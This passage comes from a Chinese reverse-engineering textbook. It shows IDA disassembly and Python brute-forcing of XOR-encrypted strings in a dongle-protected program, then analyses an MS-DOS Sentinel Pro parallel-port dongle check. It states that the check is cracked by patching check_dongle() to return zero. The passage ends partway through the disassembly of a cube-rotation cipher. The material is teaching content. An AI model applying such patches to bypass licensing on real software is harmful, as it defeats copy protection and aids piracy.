.text:0000DB05 jmp decrypt_end_print_message ... ; this name we gave to label manually: .text:0000D9B6 decrypt_end_print_message: ; CODE XREF: sync_sys+29Dj .text:0000D9B6 ; sync_sys+2ABj .text:0000D9B6 mov eax, [ebp+var_18] .text:0000D9B9 test eax, eax .text:0000D9BB jnz short loc_D9FB 异步社区会员 dearfuture(15918834820) 专享 尊重版权 746 逆向工程权威指南(下册) .text:0000D9BD mov edx, [ebp+var_C] ; key .text:0000D9C0 mov ecx, [ebp+var_8] ; string .text:0000D9C3 push edx .text:0000D9C4 push 20h .text:0000D9C6 push ecx .text:0000D9C7 push 18h .text:0000D9C9 call err_warn 这就是简单的 XOR 算法:每个字节都与密钥进行 XOR 运算,而且每解密一个字节密钥就增加 3。 为了验证这个猜想,我专门编写了一个 Python 脚本程序: 指令清单 78.2 Python 3.x #!/usr/bin/python import sys msg=[0x74, 0x72, 0x78, 0x43, 0x48, 0x6, 0x5A, 0x49, 0x4C, 0x47, 0x47, 0x51, 0x4F, 0x47, 0x61, 0x20, 0x22, 0x3C, 0x24, 0x33, 0x36, 0x76, 0x3A, 0x33, 0x31, 0x0C, 0x0, 0x0B, 0x1F, 0x7, 0x1E, 0x1A] key=0x17 tmp=key for i in msg: sys.stdout.write ("%c" % (i^tmp)) tmp=tmp+3 sys.stdout.flush() 它解密出来的字符串正是“check security device connection”。 程序还用到了其他的加密字符串和相应密钥。然而我们不需要原始密钥就可以进行密文解密。首先, 密钥实际只有 1 个字节。解密核心的 XOR 指令以字节为操作单位。其次,虽然密钥存储于 ESI 寄存器, 但是它只用了 ESI 寄存器地址最低的那个字节。即使密钥大于 255,但是参与演算的密钥还是不会大于 1 个字节的值。 最终,我们可以使用 0~255 之间的密钥暴力破解加密字符串。与此同时,我们要排除那些含有控制字 符的解密结果。 指令清单 78.3 Python 3.x #!/usr/bin/python import sys, curses.ascii msgs=[ [0x74, 0x72, 0x78, 0x43, 0x48, 0x6, 0x5A, 0x49, 0x4C, 0x47, 0x47, 0x51, 0x4F, 0x47, 0x61, 0x20, 0x22, 0x3C, 0x24, 0x33, 0x36, 0x76, 0x3A, 0x33, 0x31, 0x0C, 0x0, 0x0B, 0x1F, 0x7, 0x1E, 0x1A], [0x49, 0x65, 0x2D, 0x63, 0x76, 0x75, 0x6C, 0x6E, 0x76, 0x56, 0x5C, 8, 0x4F, 0x4B, 0x47, 0x5D, 0x54, 0x5F, 0x1D, 0x26, 0x2C, 0x33, 0x27, 0x28, 0x6F, 0x72, 0x75, 0x78, 0x7B, 0x7E, 0x41, 0x44], [0x45, 0x61, 0x31, 0x67, 0x72, 0x79, 0x68, 0x52, 0x4A, 0x52, 0x50, 0x0C, 0x4B, 0x57, 0x43, 0x51, 0x58, 0x5B, 0x61, 0x37, 0x33, 0x2B, 0x39, 0x39, 0x3C, 0x38, 0x79, 0x3A, 0x30, 0x17, 0x0B, 0x0C], [0x40, 0x64, 0x79, 0x75, 0x7F, 0x6F, 0x0, 0x4C, 0x40, 0x9, 0x4D, 0x5A, 0x46, 0x5D, 0x57, 0x49, 0x57, 0x3B, 0x21, 0x23, 0x6A, 0x38, 0x23, 0x36, 0x24, 0x2A, 0x7C, 0x3A, 0x1A, 0x6, 0x0D, 0x0E, 0x0A, 0x14, 0x10], [0x72, 0x7C, 0x72, 0x79, 0x76, 0x0, 0x50, 0x43, 0x4A, 0x59, 0x5D, 0x5B, 0x41, 0x41, 0x1B, 0x5A, 0x24, 0x32, 0x2E, 0x29, 0x28, 0x70, 0x20, 0x22, 0x38, 0x28, 0x36, 0x0D, 0x0B, 0x48, 0x4B, 0x4E]] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 747 def is_string_printable(s): return all(list(map(lambda x: curses.ascii.isprint(x), s))) cnt=1 for msg in msgs: print ("message #%d" % cnt) for key in range(0,256): result=[] tmp=key for i in msg: result.append (i^tmp) tmp=tmp+3 if is_string_printable (result): print ("key=", key, "value=", "".join(list(map(chr, result)))) cnt=cnt+1 上述程序的运行结果如下。 指令清单 78.4 Results message #1 key= 20 value= 'eb^h%|''hudw|_af{n~f%ljmSbnwlpk key= 21 value= ajc]i"}cawtgv{^bgto}g"millcmvkqh key= 22 value= bkd\j#rbbvsfuz!cduh|d#bhomdlujni key= 23 value= check security device connection key= 24 value= lifbl!pd|tqhsx#ejwjbb!'nQofbshlo message #2 key= 7 value= No security device found key= 8 value= An#rbbvsVuz!cduhld#ghtme?!#!'!#! message #3 key= 7 value= Bk<waoqNUpu$'yreoa\wpmpusj,bkIjh key= 8 value= Mj?vfnrOjqv%gxqd''_vwlstlk/clHii key= 9 value= Lm>ugasLkvw&fgpgag^uvcrwml. 'mwhj key= 10 value= Ol!td'tMhwx'efwfbf!tubuvnm!anvok key= 11 value= No security device station found key= 12 value= In#rjbvsnuz!{duhdd#r{'whho#gPtme message #4 key= 14 value= Number of authorized users exceeded key= 15 value= Ovlmdq!hg#'juknuhydk!vrbsp!Zy'dbefe message #5 key= 17 value= check security device station key= 18 value= `ijbh!td`tmhwx'efwfbf!tubuVnm!'! 虽然出现了人类语言之外的字符串,但是我们还是能够找到英语字符串。 另外,因为程序采用的解密算法是非常简单的 XOR 算法,所以它的加密函数也不会复杂到哪去。如 果有必要的话,我们甚至可以用它的算法加密自己的字符串,然后把自制的密文放在程序里面。 78.3 例 3: MS-DOS 本例研究的是一款 1995 年研发的 MS-DOS 程序,联络不上开发商了。 在从前的那个坚守 DOS 阵地的时代,所有的 MS-DOS 程序基本都在 16 位的 8086 或者 80286 CPU 上 运行。因此大批的程序都是 16 位程序。这种程序的指令与本书介绍过的汇编指令大体相同,只是寄存器是 16 位寄存器、而且指令集略微小些罢了。 MS-DOS 系统没有系统驱动程序,全部程序都可以直接访问硬件端口。故而程序中大量出现了 OUT/IN 指令。就当今的操作系统来说,基本上只有驱动程序才会使用这些指令,而且应用程序已经不能直接访问 硬件端口了。 在当时的技术条件下,访问加密狗的 MS-DOS 程序必须直接访问 LPT 打印端口。那么我们就搜索这 些端口操作指令好了: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 748 逆向工程权威指南(下册) seg030:0034 out_port proc far ; CODE XREF: sent_pro+22p seg030:0034 ; sent_pro+2Ap ... seg030:0034 seg030:0034 arg_0 =byteptr 6 seg030:0034 seg030:0034 55 push bp seg030:0035 8B EC mov bp, sp seg030:0037 8B 16 7E E7 mov dx, _out_port ; 0x378 seg030:003B 8A 46 06 mov al, [bp+arg_0] seg030:003E EE out dx, al seg030:003F 5D pop bp seg030:0040 CB retf seg030:0040 out_port endp 上述指令的标签名称全部是笔者自行添加的。我们发现,只有下面这个函数调用了 out_port()函数: seg030:0041 sent_pro proc far ; CODE XREF: check_dongle+34p seg030:0041 seg030:0041 var_3 = byte ptr -3 seg030:0041 var_2 = word ptr -2 seg030:0041 arg_0 = dword ptr 6 seg030:0041 seg030:0041 C8 04 00 00 enter 4, 0 seg030:0045 56 push si seg030:0046 57 push di seg030:0047 8B 16 82 E7 mov dx, _in_port_1 ; 0x37A seg030:004B EC in al, dx seg030:004C 8A D8 mov bl, al seg030:004E 80 E3 FE and bl, 0FEh seg030:0051 80 CB 04 or bl, 4 seg030:0054 8A C3 mov al, bl seg030:0056 88 46 FD mov [bp+var_3], al seg030:0059 80 E3 1F and bl, 1Fh seg030:005C 8A C3 mov al, bl seg030:005E EE out dx, al seg030:005F 68 FF 00 push 0FFh seg030:0062 0E push cs seg030:0063 E8 CE FF call near ptr out_port seg030:0066 59 pop cx seg030:0067 68 D3 00 push 0D3h seg030:006A 0E push cs seg030:006B E8 C6 FF call near ptr out_port seg030:006E 59 pop cx seg030:006F 33 F6 xor si, si seg030:0071 EB 01 jmp short loc_359D4 seg030:0073 seg030:0073 loc_359D3: ; CODE XREF: sent_pro+37j seg030:0073 46 inc si seg030:0074 seg030:0074 loc_359D4: ; CODE XREF: sent_pro+30j seg030:0074 81 FE 96 00 cmp si, 96h seg030:0078 7C F9 jl short loc_359D3 seg030:007A 68 C3 00 push 0C3h seg030:007D 0E push cs seg030:007E E8 B3 FF call near ptr out_port seg030:0081 59 pop cx seg030:0082 68 C7 00 push 0C7h seg030:0085 0E push cs seg030:0086 E8 AB FF call near ptr out_port seg030:0089 59 pop cx seg030:008A 68 D3 00 push 0D3h seg030:008D 0E push cs seg030:008E E8 A3 FF call near ptr out_port seg030:0091 59 pop cx seg030:0092 68 C3 00 push 0C3h seg030:0095 0E push cs 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 749 seg030:0096 E8 9B FF call near ptr out_port seg030:0099 59 pop cx seg030:009A 68 C7 00 push 0C7h seg030:009D 0E push cs seg030:009E E8 93 FF call near ptr out_port seg030:00A1 59 pop cx seg030:00A2 68 D3 00 push 0D3h seg030:00A5 0E push cs seg030:00A6 E8 8B FF call near ptr out_port seg030:00A9 59 pop cx seg030:00AA BF FF FF mov di, 0FFFFh seg030:00AD EB 40 jmp short loc_35A4F seg030:00AF seg030:00AF loc_35A0F: ; CODE XREF: sent_pro+BDj seg030:00AF BE 04 00 mov si, 4 seg030:00B2 seg030:00B2 loc_35A12: ; CODE XREF: sent_pro+ACj seg030:00B2 D1 E7 shl di, 1 seg030:00B4 8B 16 80 E7 mov dx, _in_port_2 ; 0x379 seg030:00B8 EC in al, dx seg030:00B9 A8 80 test al, 80h seg030:00BB 75 03 jnz short loc_35A20 seg030:00BD 83 CF 01 or di, 1 seg030:00C0 seg030:00C0 loc_35A20: ; CODE XREF: sent_pro+7Aj seg030:00C0 F7 46 FE 08+ test [bp+var_2], 8 seg030:00C5 74 05 jz short loc_35A2C seg030:00C7 68 D7 00 push 0D7h ; '+' seg030:00CA EB 0B jmp short loc_35A37 seg030:00CC seg030:00CC loc_35A2C: ; CODE XREF: sent_pro+84j seg030:00CC 68 C3 00 push 0C3h seg030:00CF 0E push cs seg030:00D0 E8 61 FF call near ptr out_port seg030:00D3 59 pop cx seg030:00D4 68 C7 00 push 0C7h seg030:00D7 seg030:00D7 loc_35A37: ; CODE XREF: sent_pro+89j seg030:00D7 0E push cs seg030:00D8 E8 59 FF call near ptr out_port seg030:00DB 59 pop cx seg030:00DC 68 D3 00 push 0D3h seg030:00DF 0E push cs seg030:00E0 E8 51 FF call near ptr out_port seg030:00E3 59 pop cx seg030:00E4 8B 46 FE mov ax, [bp+var_2] seg030:00E7 D1 E0 shl ax, 1 seg030:00E9 89 46 FE mov [bp+var_2], ax seg030:00EC 4E dec si seg030:00ED 75 C3 jnz short loc_35A12 seg030:00EF seg030:00EF loc_35A4F: ; CODE XREF: sent_pro+6Cj seg030:00EF C4 5E 06 les bx, [bp+arg_0] seg030:00F2 FF 46 06 inc word ptr [bp+arg_0] seg030:00F5 26 8A 07 mov al, es:[bx] seg030:00F8 98 cbw seg030:00F9 89 46 FE mov [bp+var_2], ax seg030:00FC 0B C0 or ax, ax seg030:00FE 75 AF jnz short loc_35A0F seg030:0100 68 FF 00 push 0FFh seg030:0103 0E push cs seg030:0104 E8 2D FF call near ptr out_port seg030:0107 59 pop cx seg030:0108 8B 16 82 E7 mov dx, _in_port_1 ; 0x37A seg030:010C EC in al, dx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 750 逆向工程权威指南(下册) seg030:010D 8A C8 mov cl, al seg030:010F 80 E1 5F and cl, 5Fh seg030:0112 8A C1 mov al, cl seg030:0114 EE out dx, al seg030:0115 EC in al, dx seg030:0116 8A C8 mov cl, al seg030:0118 F6 C1 20 test cl, 20h seg030:011B 74 08 jz short loc_35A85 seg030:011D 8A 5E FD mov bl, [bp+var_3] seg030:0120 80 E3 DF and bl, 0DFh seg030:0123 EB 03 jmp short loc_35A88 seg030:0125 seg030:0125 loc_35A85: ; CODE XREF: sent_pro+DAj seg030:0125 8A 5E FD mov bl, [bp+var_3] seg030:0128 seg030:0128 loc_35A88: ; CODE XREF: sent_pro+E2j seg030:0128 F6 C1 80 test cl, 80h seg030:012B 74 03 jz short loc_35A90 seg030:012D 80 E3 7F and bl, 7Fh seg030:0130 seg030:0130 loc_35A90: ; CODE XREF: sent_pro+EAj seg030:0130 8B 16 82 E7 mov dx, _in_port_1 ; 0x37A seg030:0134 8A C3 mov al, bl seg030:0136 EE out dx, al seg030:0137 8B C7 mov ax, di seg030:0139 5F pop di seg030:013A 5E pop si seg030:013B C9 leave seg030:013C CB retf seg030:013C sent_pro endp 可见,这个加密狗还是 Sentinel Pro 出品的“哈希验证”型加密狗。通过观察程序中传递的文本字符串, 我们能够查到这种加密狗信息。而且它的 16 位返回值最终要和固定值进行比较。 输出端口地址通常是 0x378,即USB问世之前、老式打印机才用的打印终端LPT接口。在设计这种接口时, 恐怕没有人会想到要从打印机接收数据,因此这种接口是单向通信接口 ① ① 本文指的是 LPT 并行接口。实际上,IEEE 1284 标准允许打印机回传数据。 。应用程序能够通过 0x379 端口访问 打印机的状态寄存器,获取“缺纸”“确定/ack”“繁忙”之类的信号信息。也就是说,打印机的状态寄存器是主机 了解打印机工作状态的唯一途径。因此,加密狗肯定通过这个寄存器获取反馈信息,逐次轮训有关比特位罢了。 源程序的_in_port_2 和_in_port_1 标签,分别访问了状态字寄存器(0x379)和控制寄存器(0x37A)。 看来,通过 seg030:00B9 的指令,程序通过“繁忙”标志为获取返回信息:每个比特位都存储于 DI 寄存器,由函数尾部的指令返回。 那么,发送给输出端口的这些字节都有什么涵义?笔者没有进行深究,只知道是发送给加密狗的指令。 而且就这种任务来说,也不必把各个控制指令搞清楚。 检测加密狗的指令如下: 00000000 struct_0 struc ; (sizeof=0x1B) 00000000 field_0 db 25 dup(?) ; string(C) 00000019 _A dw? 0000001B struct_0 ends dseg:3CBC 61 63 72 75+_Q struct_0 <'hello', 01122h> dseg:3CBC 6E 00 00 00+ ; DATA XREF: check_dongle+2Eo ... skipped ... dseg:3E00 63 6F 66 66+ struct_0 <'coffee', 7EB7h> dseg:3E1B 64 6F 67 00+ struct_0 <'dog', 0FFADh> dseg:3E36 63 61 74 00+ struct_0 <'cat', 0FF5Fh> dseg:3E51 70 61 70 65+ struct_0 <'paper', 0FFDFh> 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 751 dseg:3E6C 63 6F 6B 65+ struct_0 <'coke', 0F568h> dseg:3E87 63 6C 6F 63+ struct_0 <'clock', 55EAh> dseg:3EA2 64 69 72 00+ struct_0 <'dir', 0FFAEh> dseg:3EBD 63 6F 70 79+ struct_0 <'copy', 0F557h> seg030:0145 check_dongle proc far ; CODE XREF: sub_3771D+3EP seg030:0145 seg030:0145 var_6 = dword ptr -6 seg030:0145 var_2 = word ptr -2 seg030:0145 seg030:0145 C8 06 00 00 enter 6, 0 seg030:0149 56 push si seg030:014A 66 6A 00 push large 0 ; newtime seg030:014D 6A 00 push 0 ; cmd seg030:014F 9A C1 18 00+ call _biostime seg030:0154 52 push dx seg030:0155 50 push ax seg030:0156 66 58 pop eax seg030:0158 83 C4 06 add sp, 6 seg030:015B 66 89 46 FA mov [bp+var_6], eax seg030:015F 66 3B 06 D8+ cmp eax, _expiration seg030:0164 7E 44 jle short loc_35B0A seg030:0166 6A 14 push 14h seg030:0168 90 nop seg030:0169 0E push cs seg030:016A E8 52 00 call near ptr get_rand seg030:016D 59 pop cx seg030:016E 8B F0 mov si, ax seg030:0170 6B C0 1B imul ax, 1Bh seg030:0173 05 BC 3C add ax, offset _Q seg030:0176 1E push ds seg030:0177 50 push ax seg030:0178 0E push cs seg030:0179 E8 C5 FE call near ptr sent_pro seg030:017C 83 C4 04 add sp, 4 seg030:017F 89 46 FE mov [bp+var_2], ax seg030:0182 8B C6 mov ax, si seg030:0184 6B C0 12 imul ax, 18 seg030:0187 66 0F BF C0 movsx eax, ax seg030:018B 66 8B 56 FA mov edx, [bp+var_6] seg030:018F 66 03 D0 add edx, eax seg030:0192 66 89 16 D8+ mov _expiration, edx seg030:0197 8B DE mov bx, si seg030:0199 6B DB 1B imul bx, 27 seg030:019C 8B 87 D5 3C mov ax, _Q._A[bx] seg030:01A0 3B 46 FE cmp ax, [bp+var_2] seg030:01A3 74 05 jz short loc_35B0A seg030:01A5 B8 01 00 mov ax, 1 seg030:01A8 EB 02 jmp short loc_35B0C seg030:01AA seg030:01AA loc_35B0A: ; CODE XREF: check_dongle+1Fj seg030:01AA ; check_dongle+5Ej seg030:01AA 33 C0 xor ax, ax seg030:01AC seg030:01AC loc_35B0C: ; CODE XREF: check_dongle+63j seg030:01AC 5E pop si seg030:01AD C9 leave seg030:01AE CB retf seg030:01AE check_dongle endp 一般来说,应用程序在执行重要功能之前都会检验加密狗。受并行打印口和加密狗硬件特性的共同制 约,验证 LPT 加密狗的核实操作肯定非常非常慢。所以多数软件都会存储验证结果,在一段时间内免去验证 的烦恼。它们多数会通过 boiostime()函数获取当前时间。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 752 逆向工程权威指南(下册) 另外,程序还使用了标准 C 函数 get_rand(): seg030:01BF get_rand proc far ; CODE XREF: check_dongle+25p seg030:01BF seg030:01BF arg_0 =word ptr 6 seg030:01BF seg030:01BF 55 push bp seg030:01C0 8B EC mov bp, sp seg030:01C2 9A 3D 21 00+ call _rand seg030:01C7 66 0F BF C0 movsx eax, ax seg030:01CB 66 0F BF 56+ movsx edx, [bp+arg_0] seg030:01D0 66 0F AF C2 imul eax, edx seg030:01D4 66 BB 00 80+ mov ebx, 8000h seg030:01DA 66 99 cdq seg030:01DC 66 F7 FB idiv ebx seg030:01DF 5D pop bp seg030:01E0 CB retf seg030:01E0 get_rand endp 可见,程序会把随机文本字符串发送到加密狗上,然后把加密狗的返回值与正确的哈希值进行比对。 加密狗检测主函数的调用方法如下: seg033:087B 9A 45 01 96+ call check_dongle seg033:0880 0B C0 or ax, ax seg033:0882 74 62 jz short OK seg033:0884 83 3E 60 42+ cmp word_620E0, 0 seg033:0889 75 5B jnz short OK seg033:088B FF 06 60 42 inc word_620E0 seg033:088F 1E push ds seg033:0890 68 22 44 push offset aTrupcRequiresA ; "This Software Requires a Software Lock\n" seg033:0893 1E push ds seg033:0894 68 60 E9 push offset byte_6C7E0 ; dest seg033:0897 9A 79 65 00+ call _strcpy seg033:089C 83 C4 08 add sp, 8 seg033:089F 1E push ds seg033:08A0 68 42 44 push offset aPleaseContactA ; "Please Contact ..." seg033:08A3 1E push ds seg033:08A4 68 60 E9 push offset byte_6C7E0 ; dest seg033:08A7 9A CD 64 00+ call _strcat 由此可知,破解加密狗的方法十分简单;我们只要把 check_dongle()函数的返回值强制设置为 0 即可。 例如,不妨在代码的开头处加上下列指令: mov ax,0 retf 细心的读者可能会想起 C 语言的 strcpy()函数仅仅需要 2 个参数而已,但是这个指令却传递了 4 个值。 seg033:088F 1E push ds seg033:0890 68 22 44 push offset aTrupcRequiresA ; "This Softwar Requires a Software Lock\n" seg033:0893 1E push ds seg033:0894 68 60 E9 push offset byte_6C7E0 ; dest seg033:0897 9A 79 65 00+ call _strcpy seg033:089C 83 C4 08 add sp, 8 这是 MS-DOS 特有的寻址方式。如需了解详情,请参见第 94 章。 如您所见,在使用 strcpy()和其他函数时,操作系统都是把指针分解为一对 16 位值、然后再进行传递的。 在程序启动时,DS 寄存器的值被设置为当前程序数据段的地址。程序里的字符串信息都存储在数据段里。 在 send_pro()函数里,字符串的每个字节都被加载到 seg030:00EF。与此同时,LES 指令从外部传递的 参数里加载 ES:BX 对。地址 seg030:00F5 处的 MOV 指令,在内存中 ES:BX 对所描述的地址上读取字节。 而 seg030:00F2 的指令只对 16 位值进行递增处理,却没有处理的值。这意味着传递给函数的字符串位 于两个数据段的地址之外。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7799 章 章 “ “Q QRR99” ”: :魔 魔方 方态 态加 加密 密模 模型 型 非专业的加密系统偶尔会让人感到匪夷所思。 本章将与您共同逆向分析一款已经找不到源代码的数据加密软件。 首先利用 IDA 的导出功能,导出这款程序的指令清单: .text:00541000 set_bit proc near ; CODE XREF: rotate1+42 .text:00541000 ; rotate2+42 ... .text:00541000 .text:00541000 arg_0 = dword ptr 4 .text:00541000 arg_4 = dword ptr 8 .text:00541000 arg_8 = dword ptr 0Ch .text:00541000 arg_C = byte ptr 10h .text:00541000 .text:00541000 mov al, [esp+arg_C] .text:00541004 mov ecx, [esp+arg_8] .text:00541008 push esi .text:00541009 mov esi, [esp+4+arg_0] .text:0054100D test al, al .text:0054100F mov eax, [esp+4+arg_4] .text:00541013 mov dl, 1 .text:00541015 jz short loc_54102B .text:00541017 shl dl, cl .text:00541019 mov cl, cube64[eax+esi*8] .text:00541020 or cl, dl .text:00541022 mov cube64[eax+esi*8], cl .text:00541029 pop esi .text:0054102A retn .text:0054102B .text:0054102B loc_54102B: ; CODE XREF: set_bit+15 .text:0054102B shl dl, cl .text:0054102D mov cl, cube64[eax+esi*8] .text:00541034 not dl .text:00541036 and cl, dl .text:00541038 mov cube64[eax+esi*8], cl .text:0054103F pop esi .text:00541040 retn .text:00541040 set_bit endp .text:00541040 .text:00541041 align 10h .text:00541050 .text:00541050 ; =============== S U B R O U T I N E ============= .text:00541050 .text:00541050 .text:00541050 get_bit proc near ; CODE XREF: rotate1+16 .text:00541050 ; rotate2+16 ... .text:00541050 .text:00541050 arg_0 = dword ptr 4 .text:00541050 arg_4 = dword ptr 8 .text:00541050 arg_8 = byte ptr 0Ch .text:00541050 .text:00541050 mov eax, [esp+arg_4] .text:00541054 mov ecx, [esp+arg_0] .text:00541058 mov al, cube64[eax+ecx*8] .text:0054105F mov cl, [esp+arg_8] .text:00541063 shr al, cl .text:00541065 and al, 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 754 逆向工程权威指南(下册) .text:00541067 retn .text:00541067 get_bit endp .text:00541067 .text:00541068 align 10h .text:00541070 .text:00541070 ; =========== S U B R O U T I N E ============ .text:00541070 .text:00541070 .text:00541070 rotate1 proc near ; CODE XREF: rotate_all_with_password+8E .text:00541070 .text:00541070 internal_array_64= byte ptr -40h .text:00541070 arg_0 = dword ptr 4 .text:00541070 .text:00541070 sub esp, 40h .text:00541073 push ebx .text:00541074 push ebp .text:00541075 mov ebp, [esp+48h+arg_0] .text:00541079 push esi .text:0054107A push edi .text:0054107B xor edi, edi ; EDI is loop1 counter .text:0054107D lea ebx, [esp+50h+internal_array_64] .text:00541081 .text:00541081 first_loop1_begin: ; CODE XREF: rotate1+2E .text:00541081 xor esi, esi ; ESI is loop2 counter .text:00541083 .text:00541083 first_loop2_begin: ; CODE XREF: rotate1+25 .text:00541083 push ebp ; arg_0 .text:00541084 push esi .text:00541085 push edi .text:00541086 call get_bit .text:0054108B add esp, 0Ch .text:0054108E mov [ebx+esi], al ; store to internal array .text:00541091 inc esi .text:00541092 cmp esi, 8 .text:00541095 jl short first_loop2_begin .text:00541097 inc edi .text:00541098 add ebx, 8 .text:0054109B cmp edi, 8 .text:0054109E jl short first_loop1_begin .text:005410A0 lea ebx, [esp+50h+internal_array_64] .text:005410A4 mov edi, 7 ; EDI is loop1 counter, initial state is 7 .text:005410A9 .text:005410A9 second_loop1_begin: ; CODE XREF: rotate1+57 .text:005410A9 xor esi, esi ; ESI is loop2 counter .text:005410AB .text:005410AB second_loop2_begin: ; CODE XREF: rotate1+4E .text:005410AB mov al, [ebx+esi] ; value from internal array .text:005410AE push eax .text:005410AF push ebp ; arg_0 .text:005410B0 push edi .text:005410B1 push esi .text:005410B2 call set_bit .text:005410B7 add esp, 10h .text:005410BA inc esi ; increment loop2 counter .text:005410BB cmp esi, 8 .text:005410BE jl short second_loop2_begin .text:005410C0 dec edi ; decrement loop2 counter .text:005410C1 add ebx, 8 .text:005410C4 cmp edi, 0FFFFFFFFh .text:005410C7 jg short second_loop1_begin .text:005410C9 pop edi .text:005410CA pop esi .text:005410CB pop ebp .text:005410CC pop ebx .text:005410CD add esp, 40h 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 755 .text:005410D0 retn .text:005410D0 rotate1 endp .text:005410D0 .text:005410D1 align 10h .text:005410E0 .text:005410E0 ; ============ S U B R O U T I N E ========= .text:005410E0 .text:005410E0 .text:005410E0 rotate2 proc near ; CODE XREF: rotate_all_with_password+7A .text:005410E0 .text:005410E0 internal_array_64= byte ptr -40h .text:005410E0 arg_0 = dword ptr 4 .text:005410E0 .text:005410E0 sub esp, 40h .text:005410E3 push ebx .text:005410E4 push ebp .text:005410E5 mov ebp, [esp+48h+arg_0] .text:005410E9 push esi .text:005410EA push edi .text:005410EB xor edi, edi ; loop1 counter .text:005410ED lea ebx, [esp+50h+internal_array_64] .text:005410F1 .text:005410F1 loc_5410F1: ; CODE XREF: rotate2+2E .text:005410F1 xor esi, esi ; loop2 counter .text:005410F3 .text:005410F3 loc_5410F3: ; CODE XREF: rotate2+25 .text:005410F3 push esi ; loop2 .text:005410F4 push edi ; loop1 .text:005410F5 push ebp ; arg_0 .text:005410F6 call get_bit .text:005410FB add esp, 0Ch .text:005410FE mov [ebx+esi], al ; store to internal array .text:00541101 inc esi ; increment loop1 counter .text:00541102 cmp esi, 8 .text:00541105 jl short loc_5410F3 .text:00541107 inc edi ; increment loop2 counter .text:00541108 add ebx, 8 .text:0054110B cmp edi, 8 .text:0054110E jl short loc_5410F1 .text:00541110 lea ebx, [esp+50h+internal_array_64] .text:00541114 mov edi, 7 ; loop1 counter is initial state 7 .text:00541119 .text:00541119 loc_541119: ; CODE XREF: rotate2+57 .text:00541119 xor esi, esi ; loop2 counter .text:0054111B .text:0054111B loc_54111B: ; CODE XREF: rotate2+4E .text:0054111B mov al, [ebx+esi] ; get byte from internal array .text:0054111E push eax .text:0054111F push edi ; loop1 counter .text:00541120 push esi ; loop2 counter .text:00541121 push ebp ; arg_0 .text:00541122 call set_bit .text:00541127 add esp, 10h .text:0054112A inc esi ; increment loop2 counter .text:0054112B cmp esi, 8 .text:0054112E jl short loc_54111B .text:00541130 dec edi ; decrement loop2 counter .text:00541131 add ebx, 8 .text:00541134 cmp edi, 0FFFFFFFFh .text:00541137 jg short loc_541119 .text:00541139 pop edi .text:0054113A pop esi .text:0054113B pop ebp .text:0054113C pop ebx .text:0054113D add esp, 40h 异步社区会员 dearfuture(15918834820) 专享 尊重版权 756 逆向工程权威指南(下册) .text:00541140 retn .text:00541140 rotate2 endp .text:00541140 .text:00541141 align 10h .text:00541150 .text:00541150 ; ============ S U B R O U T I N E =========== .text:00541150 .text:00541150 .text:00541150 rotate3 proc near ; CODE XREF: rotate_all_with_password+66 .text:00541150 .text:00541150 var_40 = byte ptr -40h .text:00541150 arg_0 = dword ptr 4 .text:00541150 .text:00541150 sub esp, 40h .text:00541153 push ebx .text:00541154 push ebp .text:00541155 mov ebp, [esp+48h+arg_0] .text:00541159 push esi .text:0054115A push edi .text:0054115B xor edi, edi .text:0054115D lea ebx, [esp+50h+var_40] .text:00541161 .text:00541161 loc_541161: ; CODE XREF: rotate3+2E .text:00541161 xor esi, esi .text:00541163 .text:00541163 loc_541163: ; CODE XREF: rotate3+25 .text:00541163 push esi .text:00541164 push ebp .text:00541165 push edi .text:00541166 call get_bit .text:0054116B add esp, 0Ch .text:0054116E mov [ebx+esi], al .text:00541171 inc esi .text:00541172 cmp esi, 8 .text:00541175 jl short loc_541163 .text:00541177 inc edi .text:00541178 add ebx, 8 .text:0054117B cmp edi, 8 .text:0054117E jl short loc_541161 .text:00541180 xor ebx, ebx .text:00541182 lea edi, [esp+50h+var_40] .text:00541186 .text:00541186 loc_541186: ; CODE XREF: rotate3+54 .text:00541186 mov esi, 7 .text:0054118B .text:0054118B loc_54118B: ; CODE XREF: rotate3+4E .text:0054118B mov al, [edi] .text:0054118D push eax .text:0054118E push ebx .text:0054118F push ebp .text:00541190 push esi .text:00541191 call set_bit .text:00541196 add esp, 10h .text:00541199 inc edi .text:0054119A dec esi .text:0054119B cmp esi, 0FFFFFFFFh .text:0054119E jg short loc_54118B .text:005411A0 inc ebx .text:005411A1 cmp ebx, 8 .text:005411A4 jl short loc_541186 .text:005411A6 pop edi .text:005411A7 pop esi .text:005411A8 pop ebp .text:005411A9 pop ebx .text:005411AA add esp, 40h .text:005411AD retn 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 757 .text:005411AD rotate3 endp .text:005411AD .text:005411AE align 10h .text:005411B0 .text:005411B0 ; ============ S U B R O U T I N E =========== .text:005411B0 .text:005411B0 .text:005411B0 rotate_all_with_password proc near ; CODE XREF: crypt+1F .text:005411B0 ; decrypt+36 .text:005411B0 .text:005411B0 arg_0 = dword ptr 4 .text:005411B0 arg_4 = dword ptr 8 .text:005411B0 .text:005411B0 mov eax, [esp+arg_0] .text:005411B4 push ebp .text:005411B5 mov ebp, eax .text:005411B7 cmp byte ptr [eax], 0 .text:005411BA jz exit .text:005411C0 push ebx .text:005411C1 mov ebx, [esp+8+arg_4] .text:005411C5 push esi .text:005411C6 push edi .text:005411C7 .text:005411C7 loop_begin: ; CODE XREF: rotate_all_with_password+9F .text:005411C7 movsx eax, byte ptr [ebp+0] .text:005411CB push eax ; C .text:005411CC call _tolower .text:005411D1 add esp, 4 .text:005411D4 cmp al, 'a' .text:005411D6 jl short next_character_in_password .text:005411D8 cmp al, 'z' .text:005411DA jg short next_character_in_password .text:005411DC movsx ecx, al .text:005411DF sub ecx, 'a' .text:005411E2 cmp ecx, 24 .text:005411E5 jle short skip_subtracting .text:005411E7 sub ecx, 24 .text:005411EA .text:005411EA skip_subtracting: ; CODE XREF: rotate_all_with_password+35 .text:005411EA mov eax, 55555556h .text:005411EF imul ecx .text:005411F1 mov eax, edx .text:005411F3 shr eax, 1Fh .text:005411F6 add edx, eax .text:005411F8 mov eax, ecx .text:005411FA 